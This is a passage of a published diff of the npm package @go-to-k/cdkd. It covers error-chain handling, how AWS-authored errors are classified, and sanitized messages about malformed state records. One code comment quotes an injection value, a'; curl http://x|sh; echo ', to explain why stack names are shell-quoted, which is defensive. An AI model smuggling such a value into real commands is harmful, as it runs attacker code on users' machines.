@go-to-k/cdkd 0.290.17 → 0.290.19

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
- import { C as displaySafe, S as displayIdent, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, x as UNRENDERABLE, y as withoutGeneratedFallbackName } from "./logger-C17H06QA.js";
2
- import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
3
- import { t as getCdkdVersion } from "./version-CT2xso6V.js";
1
+ import { C as displaySafe, S as displayIdent, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as truncateCodePoints, x as UNRENDERABLE, y as withoutGeneratedFallbackName } from "./logger-C17H06QA.js";
2
+ import { a as setAssumedRoleCredentials, i as getPreAssumeEnvCredentials, n as awsClientDefaults, o as setPreAssumeEnvCredentials, r as getAssumedRoleCredentials, t as SECOND_ROLE_PUBLISH_REFUSAL } from "./aws-client-defaults-BoIxyCir.js";
3
+ import { t as getCdkdVersion } from "./version-BOnyvRN8.js";
4
4
  import { AsyncLocalStorage } from "node:async_hooks";
5
5
  import { createHash, randomUUID } from "node:crypto";
6
6
  import { CreateBucketCommand, DeleteObjectCommand, DeleteObjectsCommand, GetBucketLocationCommand, GetBucketReplicationCommand, GetObjectCommand, HeadBucketCommand, HeadObjectCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchKey, PutBucketEncryptionCommand, PutBucketPolicyCommand, PutObjectCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -306,7 +306,7 @@ const NON_RETRYABLE_MARKER = Symbol.for("cdkd.nonRetryable");
306
306
  * the one the code already cites -- a nested-stack failure grows one
307
307
  * `ProvisioningError` per level.
308
308
  */
309
- const MAX_CAUSE_CHAIN_DEPTH = 5;
309
+ const MAX_CAUSE_CHAIN_DEPTH$1 = 5;
310
310
  /**
311
311
  * Stamped on an error whose own message deliberately WITHHOLDS text its
312
312
  * `cause` carries (issue [#2302](https://github.com/go-to-k/cdkd/issues/2302)).
@@ -363,7 +363,7 @@ function markRedactedCause(error) {
363
363
  */
364
364
  function hasRedactedCause(error) {
365
365
  let current = error;
366
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
366
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
367
367
  if (typeof current === "object" || typeof current === "function") {
368
368
  if (current[REDACTED_CAUSE_MARKER] === true) return true;
369
369
  }
@@ -438,7 +438,7 @@ function markNonRetryable(error) {
438
438
  */
439
439
  function isMarkedNonRetryable(error) {
440
440
  let current = error;
441
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
441
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
442
442
  if (typeof current === "object" || typeof current === "function") {
443
443
  if (current[NON_RETRYABLE_MARKER] === true) return true;
444
444
  }
@@ -462,7 +462,7 @@ function isMarkedNonRetryable(error) {
462
462
  */
463
463
  function isThrottlingError(error) {
464
464
  let current = error;
465
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
465
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
466
466
  const name = current.name;
467
467
  if (typeof name === "string" && THROTTLING_ERROR_NAMES.has(name)) return true;
468
468
  const status = current.$metadata?.httpStatusCode;
@@ -564,7 +564,7 @@ const TRANSIENT_SERVER_ERROR_STATUS_CODES = /* @__PURE__ */ new Set([
564
564
  */
565
565
  function isTransientServerError(error) {
566
566
  let current = error;
567
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
567
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
568
568
  const status = current.$metadata?.httpStatusCode;
569
569
  if (status !== void 0 && TRANSIENT_SERVER_ERROR_STATUS_CODES.has(status)) return true;
570
570
  current = current.cause;
@@ -615,7 +615,7 @@ function describeRetryClassificationSignals(error) {
615
615
  let sawMetadata = false;
616
616
  let metadataName;
617
617
  let metadataRequestId;
618
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
618
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
619
619
  const name = current.name;
620
620
  if (depth > 0 && typeof name === "string" && name !== "") deepestName = name;
621
621
  const metadata = current.$metadata;
@@ -727,7 +727,7 @@ function retryClassificationText(error) {
727
727
  const parts = [];
728
728
  const seen = /* @__PURE__ */ new Set();
729
729
  let current = error;
730
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null && !seen.has(current); depth++) {
730
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null && !seen.has(current); depth++) {
731
731
  seen.add(current);
732
732
  if (current instanceof Error) {
733
733
  if (current.message) parts.push(current.message);
@@ -884,7 +884,7 @@ function stringifyForMatch(value) {
884
884
  function isNameCollisionErrorFrom(error, logicalId) {
885
885
  if (typeof error === "string") return isNameCollisionError(error);
886
886
  let current = error;
887
- for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
887
+ for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH$1 && current != null; depth++) {
888
888
  const link = current;
889
889
  if (typeof link.logicalId === "string" && link.logicalId !== logicalId) return false;
890
890
  if (typeof link.name === "string" && NAME_COLLISION_ERROR_NAMES.has(link.name)) return true;
@@ -1030,7 +1030,7 @@ const CC_UPDATE_UNSUPPORTED_MESSAGE_FALLBACK = "does not support UPDATE";
1030
1030
  */
1031
1031
  function isUpdateUnsupportedError(error, logicalId) {
1032
1032
  let current = error;
1033
- for (let depth = 0; current !== null && current !== void 0 && depth < MAX_CAUSE_CHAIN_DEPTH; depth++) {
1033
+ for (let depth = 0; current !== null && current !== void 0 && depth < MAX_CAUSE_CHAIN_DEPTH$1; depth++) {
1034
1034
  const link = current;
1035
1035
  if (typeof link.logicalId === "string" && link.logicalId !== logicalId) return false;
1036
1036
  if (link.name === "UnsupportedActionException") return true;
@@ -1339,6 +1339,45 @@ var CrossAccountSecretRefusalError = class CrossAccountSecretRefusalError extend
1339
1339
  }
1340
1340
  };
1341
1341
  /**
1342
+ * An `Fn::GetStackOutput` whose PRODUCER's state record has no readable
1343
+ * `outputs` map (issue [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
1344
+ *
1345
+ * A SUBCLASS for the same reason {@link CrossAccountSecretRefusalError} is
1346
+ * one, and with the same two independent properties.
1347
+ * `instanceof IntrinsicResolutionRefusalError` stays true, so `resolveSub`'s
1348
+ * catch re-raises it rather than laundering the reference into a literal
1349
+ * `${...}` shipped to AWS; and the one consumer that must treat it
1350
+ * DIFFERENTLY from its user-fixable siblings matches on THIS class.
1351
+ *
1352
+ * That consumer is `cdkd scrub`'s cross-stack pre-pass, and the distinction it
1353
+ * needs is neither of the two the base class already carries. A sibling
1354
+ * refusal makes scrub REFUSE the stack, on the sound argument that the user
1355
+ * can fix the cause and re-run. Here the cause is ANOTHER STACK's record,
1356
+ * which the user may not own — so refusing would strand THIS stack's own
1357
+ * plaintext in `state.json` over a file they cannot repair. Issue
1358
+ * [#3192](https://github.com/go-to-k/cdkd/issues/3192) settled that trade one
1359
+ * layer down, for the classifier this refusal now runs ahead of
1360
+ * (`docs/design/3192-outputs-consumers.md` §6), and the same answer has to
1361
+ * hold here or closing the resolver would silently reverse it: scrub records
1362
+ * an unverifiable FINDING, scrubs the rest of the stack, does not report it
1363
+ * clean, and exits 2.
1364
+ *
1365
+ * It is NOT `CrossAccountSecretRefusalError`, whose subclass identity means
1366
+ * PERMANENT — "no re-run can change this". A damaged record IS repairable;
1367
+ * what it is not is repairable by everyone who meets it.
1368
+ *
1369
+ * `code` is distinct for the reason the sibling's note gives: a consumer
1370
+ * keying on `INTRINSIC_RESOLUTION_REFUSAL` would capture every sibling, and
1371
+ * one keying on message text breaks the moment the wording improves.
1372
+ */
1373
+ var MalformedProducerRecordRefusalError = class MalformedProducerRecordRefusalError extends IntrinsicResolutionRefusalError {
1374
+ constructor(message, cause) {
1375
+ super(message, cause, "INTRINSIC_RESOLUTION_REFUSAL_MALFORMED_PRODUCER_RECORD");
1376
+ this.name = "MalformedProducerRecordRefusalError";
1377
+ Object.setPrototypeOf(this, MalformedProducerRecordRefusalError.prototype);
1378
+ }
1379
+ };
1380
+ /**
1342
1381
  * A `{{resolve:...}}` reference whose REGION cannot be established (issue
1343
1382
  * [#2134](https://github.com/go-to-k/cdkd/issues/2134)): it names no region,
1344
1383
  * and the stack it sits in is on record as reading across a region boundary.
@@ -1879,8 +1918,11 @@ var AwsClients = class AwsClients {
1879
1918
  * falls back to the default chain. The same is true of any library caller
1880
1919
  * that constructs `AwsClients` directly and therefore never runs the CLI's
1881
1920
  * `preAction` hook. `--role-arn` needs nothing carried at all —
1882
- * `applyRoleArnIfSet` exports `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` /
1883
- * `AWS_SESSION_TOKEN` into the process environment.
1921
+ * `applyRoleArnIfSet` publishes the assumed credentials through
1922
+ * `setAssumedRoleCredentials`, so {@link clientOptions}'s
1923
+ * `awsClientDefaults(...)` spread hands them to every client this instance
1924
+ * builds, and a `profile` beside them selects non-credential settings only
1925
+ * (issue [#3130](https://github.com/go-to-k/cdkd/issues/3130)).
1884
1926
  *
1885
1927
  * The `credentials` object is CLONED rather than aliased: the returned bag is
1886
1928
  * handed to every derived sibling, and sharing one mutable object would let a
@@ -7777,24 +7819,125 @@ var DockerAssetPublisher = class {
7777
7819
 
7778
7820
  //#endregion
7779
7821
  //#region src/utils/aws-failure-text.ts
7780
- /** Appended to a redacted summary so the withheld half is still reachable. */
7822
+ /**
7823
+ * Appended to a redacted summary so the withheld half is still reachable.
7824
+ *
7825
+ * EXPORTED for the TESTS, and that is now its only reason. It was exported
7826
+ * because `cloud-control-provider.ts`'s `abandonWait` reduced on its own wider
7827
+ * predicate and had to compose this sentence by hand; issue
7828
+ * [#3297](https://github.com/go-to-k/cdkd/issues/3297) removed that predicate
7829
+ * and the hand-copy with it, so no `src/` file spells this literal twice. The
7830
+ * remaining importer is `cloud-control-wait-abandoned.test.ts`, which asserts
7831
+ * the ABSENCE of the pointer and would silently stop discriminating if it
7832
+ * hard-coded the words instead.
7833
+ */
7781
7834
  const VERBOSE_POINTER = "Re-run with --verbose for AWS's own message.";
7782
7835
  /**
7783
- * Whether AWS wrote this failure's message.
7836
+ * The summary {@link describeAwsFailure} builds for an `Error` it is reducing.
7784
7837
  *
7785
- * Keyed on the marker fields `@aws-sdk/*` errors carry through
7786
- * `@smithy/smithy-client`'s `ServiceException` — `$metadata` on every
7787
- * deserialized error, `$fault` on every modeled one, `$response` where a
7788
- * middleware attached the raw response. Nothing under `src/` sets any of them,
7789
- * so a match cannot be a cdkd-authored error.
7838
+ * UN-exported by issue [#3297](https://github.com/go-to-k/cdkd/issues/3297).
7839
+ * It was exported for one caller — `cloud-control-provider.ts`, whose own
7840
+ * authorship predicate was WIDER than this module's, so the helper handed it
7841
+ * raw text for a shape it wanted reduced and it had to build this string
7842
+ * itself. That predicate is gone and so is the divergence, leaving the export
7843
+ * with no callers and a doc citing one that no longer exists. Keep it private:
7844
+ * a re-export is the signal that a second predicate has appeared.
7845
+ */
7846
+ function redactedAwsFailureSummary(error) {
7847
+ return `${error.name || "Error"}. ${VERBOSE_POINTER}`;
7848
+ }
7849
+ /**
7850
+ * Whether AWS wrote this failure's message.
7790
7851
  *
7791
- * A transport-level failure (a socket timeout, a DNS error) can reach a caller
7792
- * without `$metadata`, and that is the correct answer rather than a gap: those
7852
+ * Keyed on a real SERVICE signal: `$fault`, which every modeled
7853
+ * `@smithy/smithy-client` `ServiceException` carries, or a NUMERIC
7854
+ * `$metadata.httpStatusCode`, which only a deserialized RESPONSE has. Nothing
7855
+ * under `src/` sets either, so a match cannot be a cdkd-authored error.
7856
+ *
7857
+ * **`$metadata` PRESENCE is deliberately NOT the signal, and an earlier
7858
+ * revision of this function used it** (issue
7859
+ * [#3297](https://github.com/go-to-k/cdkd/issues/3297)). `@smithy/core`'s retry
7860
+ * middleware stamps `$metadata = {attempts, totalRetryDelay}` onto EVERY error
7861
+ * it gives up on — socket errors included — and creates the object when it is
7862
+ * absent. Measured against a real `CloudControlClient` pointed at a closed
7863
+ * port:
7864
+ *
7865
+ * name 'Error', code 'ECONNREFUSED', $fault undefined,
7866
+ * message 'connect ECONNREFUSED 127.0.0.1:1',
7867
+ * $metadata { attempts: 3, totalRetryDelay: 58 }
7868
+ *
7869
+ * So the old predicate classified a plain transport failure as AWS-authored and
7870
+ * reduced it to its `name` — which for a socket error is the bare token
7871
+ * `Error`, carrying no diagnosis at all. That deleted `connect ECONNREFUSED
7872
+ * <ip>:443`, the exact wording issue
7873
+ * [#3236](https://github.com/go-to-k/cdkd/issues/3236) was REPORTED with, from
7874
+ * the only durable record of the outage.
7875
+ *
7876
+ * The `CredentialsProviderError` name is the third arm because credential
7877
+ * resolution carries NEITHER signal — identity is resolved by
7878
+ * `httpAuthSchemeMiddleware` at step `serialize`, which WRAPS retry's
7879
+ * `finalizeRequest`, so an escaping credential error never enters retry's catch
7880
+ * (measured, and the mechanism is why: retry CREATES `$metadata` when absent,
7881
+ * so an error arriving without one proves it bypassed retry). It is also the
7882
+ * shape whose message carries the most: `@aws-sdk/credential-provider-process`
7883
+ * wraps EVERY exec failure in it, so the text interpolates the helper's ARGV
7884
+ * and its stderr.
7885
+ *
7886
+ * **Its siblings are deliberately NOT matched, and the reasons differ per class
7887
+ * rather than being one rule.** `@smithy/property-provider` exports a family of
7888
+ * three — `ProviderError`, and its subclasses `CredentialsProviderError` and
7889
+ * `TokenProviderError` — plus `@smithy/credential-provider-imds`'s
7890
+ * `InstanceMetadataV1FallbackError`, the only subclass OF
7891
+ * `CredentialsProviderError` in the installed tree. (All four set `name`; an
7892
+ * earlier revision read "the only subclass that overrides `name`", which is
7893
+ * false of the three siblings.) Each was read rather than reasoned about,
7894
+ * because the answers go BOTH ways:
7895
+ *
7896
+ * - `TokenProviderError` must NOT be reduced. Its message IS the remedy —
7897
+ * `Token is expired. To refresh this SSO session run 'aws sso login' with
7898
+ * the corresponding profile.` — so reducing it to a wire name would delete
7899
+ * the fix instruction. A revision matching the whole `*ProviderError` suffix
7900
+ * did exactly that. The benefit is not realized on the Cloud Control poll
7901
+ * path today, and claiming otherwise was measured false:
7902
+ * `@aws-sdk/credential-provider-sso` catches every token failure and
7903
+ * rethrows it as a `CredentialsProviderError`, so the shape cannot escape a
7904
+ * SigV4 client there. The carve-out is a rule about the FAMILY, kept because
7905
+ * the rewrap is upstream behaviour that can change.
7906
+ * - `ProviderError` (the base) and `InstanceMetadataV1FallbackError` carry
7907
+ * connectivity and CONFIG wording respectively — the IMDS one interpolates
7908
+ * three fixed literals naming config keys, with no argv, stderr, profile
7909
+ * value or identity in it. Both are more useful raw.
7910
+ *
7911
+ * So string EQUALITY is right here, and right by enumeration rather than by
7912
+ * assumption. Re-check the list when the SDK major moves; do not widen it to a
7913
+ * suffix. The specific mechanism to re-check is `ProviderError.from()`, which
7914
+ * does `Object.assign(new this(...), error)` — that copies a SOURCE error's own
7915
+ * `name` over the class field and would defeat string equality outright. It has
7916
+ * ZERO call sites anywhere in `node_modules` today, which is the only reason
7917
+ * equality is safe rather than merely correct-looking.
7918
+ *
7919
+ * `$response` is gone with the `$metadata` disjunct, and the reason is NOT the
7920
+ * obvious one -- an earlier revision of this comment said it "is only ever set
7921
+ * on a `ServiceException`, which carries `$fault` anyway", and review measured
7922
+ * that false. `@smithy/core`'s `deserializerMiddleware` stamps `$response` on
7923
+ * ANY error escaping the deserializer, and the very next line reads
7924
+ * `if (!("$metadata" in error))`, i.e. the library explicitly handles the
7925
+ * `$response`-without-`$metadata` shape (a `JSON.parse` `SyntaxError` out of
7926
+ * `parseJsonBody`). What actually preserves the verdict is the SIBLING line in
7927
+ * that same catch: `error.$metadata = { httpStatusCode: response.statusCode,
7928
+ * ... }`, so the `httpStatusCode` disjunct subsumes `$response` for every
7929
+ * response the middleware can read. The residual is a `response` failing
7930
+ * `HttpResponse.isInstance`, or a throw inside that block's own
7931
+ * `catch (ignored)` -- shapes with no HTTP status at all, which are not service
7932
+ * rejections and should not be reduced.
7933
+ *
7934
+ * A transport-level failure (a socket timeout, a DNS error) reaches a caller
7935
+ * with neither signal, and that is the correct answer rather than a gap: those
7793
7936
  * messages are written by the HTTP layer and name a host, never a caller.
7794
7937
  */
7795
7938
  function isAwsAuthoredFailure(error) {
7796
7939
  const candidate = error;
7797
- return candidate.$metadata !== void 0 || candidate.$fault !== void 0 || candidate.$response !== void 0;
7940
+ return candidate.$fault !== void 0 || typeof candidate.$metadata?.httpStatusCode === "number" || error.name === "CredentialsProviderError";
7798
7941
  }
7799
7942
  /**
7800
7943
  * Describe a caught failure for a thrown message. See {@link AwsFailureText}.
@@ -7807,14 +7950,20 @@ function describeAwsFailure(error) {
7807
7950
  redacted: false
7808
7951
  };
7809
7952
  return {
7810
- summary: `${error.name || "Error"}. ${VERBOSE_POINTER}`,
7953
+ summary: redactedAwsFailureSummary(error),
7811
7954
  detail: error.message,
7812
7955
  redacted: true
7813
7956
  };
7814
7957
  }
7958
+ let detail;
7959
+ try {
7960
+ detail = String(error);
7961
+ } catch {
7962
+ detail = "a value that could not be converted to text";
7963
+ }
7815
7964
  return {
7816
7965
  summary: `a non-Error value of type ${typeof error}. ${VERBOSE_POINTER}`,
7817
- detail: String(error),
7966
+ detail,
7818
7967
  redacted: true
7819
7968
  };
7820
7969
  }
@@ -20378,6 +20527,833 @@ function findUnrecognizedProperties(resourceType, templateProperties) {
20378
20527
  return unrecognized.sort((a, b) => a.localeCompare(b));
20379
20528
  }
20380
20529
 
20530
+ //#endregion
20531
+ //#region src/state/malformed-resources-bag.ts
20532
+ /** The error code every malformed-record refusal carries, whatever its class. */
20533
+ const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
20534
+ /**
20535
+ * Answer the ONE question both helpers below key on: can this record's
20536
+ * resource map be read at all?
20537
+ *
20538
+ * Widened past `null` / `undefined` because the message says "no readable
20539
+ * resources map" and a hand-edited record does not stop at those two: a
20540
+ * `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
20541
+ * empty or, for the string, absurd — repaired silently and warned about
20542
+ * nowhere. The predicate is the plain-object test the bag's own type implies.
20543
+ */
20544
+ function hasReadableResources(state) {
20545
+ return isReadableBag(state.resources);
20546
+ }
20547
+ /**
20548
+ * The same question for the `outputs` bag — and it is a SEPARATE predicate
20549
+ * rather than a second argument to the one above because the ABSENCE rule
20550
+ * differs, which is the split {@link isReadableBag}'s own note calls a
20551
+ * per-container call.
20552
+ *
20553
+ * An absent `outputs` bag is an ordinary record, not a defect: `cdkd scrub`
20554
+ * round-trips one deliberately rather than materializing `{}` over it, and the
20555
+ * deploy's failure-path saves write `outputs: currentState.outputs`, which
20556
+ * `JSON.stringify` drops when it is `undefined`. So `undefined` is EXEMPT here
20557
+ * while it is a defect for `resources`. `null` is NOT exempt — it is a value a
20558
+ * hand-edited record carries and every consumer either throws on it or
20559
+ * launders it into `{}`.
20560
+ *
20561
+ * Both {@link repairMalformedOutputsForReadOnly} and
20562
+ * {@link refuseMalformedOutputs} delegate to this, so the read-only and the
20563
+ * write-capable halves cannot come to different verdicts about the same record.
20564
+ */
20565
+ function hasReadableOutputs(state) {
20566
+ return state.outputs === void 0 || isReadableBag(state.outputs);
20567
+ }
20568
+ /**
20569
+ * The shared explanation, in the terms the reader needs: what is wrong, what
20570
+ * to look at, and what NOT to do next.
20571
+ *
20572
+ * Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
20573
+ * emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
20574
+ * `.claude/rules/layout-state-types.md` require of any suggestion a user is
20575
+ * meant to paste, for two separate reasons.
20576
+ *
20577
+ * Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
20578
+ * printable-ASCII allowlist, so it removes the line- and escape-forgery class
20579
+ * but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
20580
+ * trusted here, since a stack name reaches the cross-stack read path from an
20581
+ * `Fn::GetStackOutput` argument or an S3 key. A name spelled
20582
+ * `a'; curl http://x|sh; echo '` would close the quoting and append its own
20583
+ * command to the line this text tells the user to RUN.
20584
+ *
20585
+ * Wrapping the command in `'...'` is not enough either, and is what makes the
20586
+ * two compose badly: `shellQuote` does its own quoting, so an outer wrapper
20587
+ * produces something unpastable. Hence unwrapped and last.
20588
+ *
20589
+ * An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
20590
+ * nothing — an empty argument makes `--stack-region` swallow the next flag,
20591
+ * turning a remedy into a differently-broken command.
20592
+ *
20593
+ * MODULE-PRIVATE, and it stayed that way after go-to-k/cdkd#3206's review
20594
+ * considered exporting it. `cdkd scrub`'s audited-record refusal needed the
20595
+ * same three properties (sanitize, cap, `UNRENDERABLE` on empty) plus a
20596
+ * BOUNDARY, because its names go into a comma-joined list where a name
20597
+ * containing the delimiter forges an entry. `displayIdent` has all four —
20598
+ * JSON-quoting escapes the delimiter it adds — so that caller uses it and this
20599
+ * stays private. The pair here is not duplicated: what differs is the
20600
+ * `shellQuote` composition every message in THIS module needs and that one
20601
+ * must not have.
20602
+ */
20603
+ function safeIdentifier(value) {
20604
+ const safe = displaySafe(value, { asciiOnly: true });
20605
+ if (!safe) return UNRENDERABLE;
20606
+ const { text, truncated } = truncateCodePoints(safe, 128);
20607
+ return truncated ? `${text}...` : text;
20608
+ }
20609
+ function malformedStateDetail(stackName, region) {
20610
+ const stack = safeIdentifier(stackName);
20611
+ const reg = safeIdentifier(region);
20612
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
20613
+ }
20614
+ /**
20615
+ * For a READ-ONLY command: give the record an empty resource bag so the
20616
+ * command can report on it, and say so (issue go-to-k/cdkd#3018).
20617
+ *
20618
+ * `parseStateBody` deliberately does not validate the inner shape, so a
20619
+ * hand-edited or truncated record reaches a command with `resources` absent,
20620
+ * `null`, or some other non-object. Every such command then died on a raw
20621
+ * `TypeError` from the first `Object.keys` / `in` / index read — the exact
20622
+ * wording differs per shape (`Cannot convert undefined or null to object`,
20623
+ * `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
20624
+ * them names a stack, a key or a remedy, from exactly the commands a user
20625
+ * reaches for WHEN the state is broken.
20626
+ *
20627
+ * WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
20628
+ * the twelve `Object.entries(state.resources)` loops, which was inert: every
20629
+ * one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
20630
+ * `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
20631
+ * happened one line up and the guards only made it look handled. One call per
20632
+ * load dominates the whole flow behind it, including the helpers that take the
20633
+ * state as a parameter (`orphan-rewriter`, `diff-calculator`,
20634
+ * `collectCcApiRoutes`).
20635
+ *
20636
+ * Mutates in place and returns whether it repaired anything; the caller warns
20637
+ * on `true`. A silent repair is its own defect — an empty resource set is
20638
+ * indistinguishable from a healthy empty stack in every later line of output,
20639
+ * so `No changes detected` over an unreadable record is a clean verdict about
20640
+ * nothing.
20641
+ *
20642
+ * **Only for a command that cannot WRITE state.** Anything that can persist
20643
+ * uses {@link refuseMalformedState} instead; see its note.
20644
+ */
20645
+ function repairMalformedResourcesForReadOnly(state) {
20646
+ if (hasReadableResources(state)) return false;
20647
+ state.resources = {};
20648
+ return true;
20649
+ }
20650
+ /**
20651
+ * The refusal TEXT, for a command whose own exit-code contract means this
20652
+ * cannot be a plain `CdkdError`.
20653
+ *
20654
+ * `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
20655
+ * plaintext") and every one of its refusals carries `exitCode = 2`, because a
20656
+ * CI gate reading the code alone must be able to tell "scrub looked and found
20657
+ * a leak" from "scrub refused to look" — the two call for opposite responses.
20658
+ * So scrub tests {@link hasReadableResources} and raises its own class around
20659
+ * this text rather than calling {@link refuseMalformedState}.
20660
+ *
20661
+ * The other three refusing commands do NOT share that need, and giving them a
20662
+ * single shared code would be wrong in the other direction: `cdkd rollback`
20663
+ * documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
20664
+ * would tell an operator to re-run a command that attempted nothing.
20665
+ */
20666
+ function malformedStateRefusalMessage(stackName, region) {
20667
+ return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
20668
+ }
20669
+ /**
20670
+ * The warning a view emits when it emptied one or more {@link
20671
+ * RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
20672
+ *
20673
+ * Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
20674
+ * narrower than it looks. That one tells the reader not to run `cdkd deploy` /
20675
+ * `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
20676
+ * from an empty stack: deploy would re-CREATE everything and destroy would
20677
+ * delete nothing. No container named here can produce that specific confusion —
20678
+ * the resource SET is still readable — so borrowing that sentence would attach
20679
+ * a re-create-the-world warning to a record whose resource list is intact.
20680
+ *
20681
+ * It is NOT that these containers are display-only. `properties` is read by the
20682
+ * deploy change calculation (`src/analyzer/diff-calculator.ts`), where a
20683
+ * non-object compares unequal to any
20684
+ * desired object and yields a spurious property-change set — measured there as
20685
+ * a REPLACEMENT of the live resource, and closed by
20686
+ * {@link refuseMalformedResourceProperties} (go-to-k/cdkd#3191). An earlier
20687
+ * revision of this comment asserted the display-only premise, which would have
20688
+ * read as licence to drop a guard on that path (review of go-to-k/cdkd#3190).
20689
+ * That the path is now guarded does not restore the premise: this text is still
20690
+ * not the one to borrow, because the deploy path REFUSES where these views
20691
+ * continue.
20692
+ *
20693
+ * What stays the same is the remedy: `--json` is the mode that shows the
20694
+ * stored value.
20695
+ *
20696
+ * ONE warning per record however many containers it names — a stack whose 500
20697
+ * resources all carry a hand-edited `properties` gets one line, not 500. The
20698
+ * caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
20699
+ * stable across records. Not `.sort()` — that order is deliberately not
20700
+ * alphabetical, and its own JSDoc says so.
20701
+ *
20702
+ * Both identifiers are sanitized and then shell-quoted, and the command is
20703
+ * emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
20704
+ * gives.
20705
+ *
20706
+ * The container NAMES take {@link safeIdentifier} too — the SAME helper, so
20707
+ * they cannot drift from it — but NOT `shellQuote`, because they appear in the
20708
+ * PROSE and never inside the command this text tells the reader to run; the
20709
+ * command carries the two identifiers and nothing else.
20710
+ *
20711
+ * Sanitizing them is not dead code written for a case that cannot happen. The
20712
+ * union above is closed at COMPILE time, so without this the guarantee would
20713
+ * live in a comment, and the day a caller derives a name from a record instead
20714
+ * of from a literal an unsanitized element could forge a line, render as empty
20715
+ * quotes naming nothing, or run to kilobytes and push the remedy command off
20716
+ * the reader's screen. `safeIdentifier` closes all three and is the identity on
20717
+ * all four literals, so no user-visible text moves.
20718
+ *
20719
+ * What it does NOT close, stated rather than reassured away: a forged name made
20720
+ * only of printable ASCII still renders verbatim inside its quotes and could
20721
+ * read as prose. That residual is bounded to the PROSE — the command the reader
20722
+ * pastes is built from the two shell-quoted identifiers alone — and closing it
20723
+ * would mean JSON-quoting a name in the one place the text is meant to read as
20724
+ * English (review of go-to-k/cdkd#3190).
20725
+ */
20726
+ function malformedRenderedContainersWarning(stackName, region, containers) {
20727
+ const stack = safeIdentifier(stackName);
20728
+ const reg = safeIdentifier(region);
20729
+ const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
20730
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
20731
+ }
20732
+ /** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
20733
+ function malformedResourcesWarning(stackName, region) {
20734
+ return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
20735
+ }
20736
+ /**
20737
+ * The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
20738
+ * READ-ONLY command that DIFFS the stored bag rather than rendering it
20739
+ * (go-to-k/cdkd#3189).
20740
+ *
20741
+ * `computeOutputsDiff` enumerates the stored bag twice, the second walk
20742
+ * emitting one `REMOVE` row per stored key today's template no longer declares.
20743
+ * It used to admit the bag on a bare `?? {}`, which covers `null` and
20744
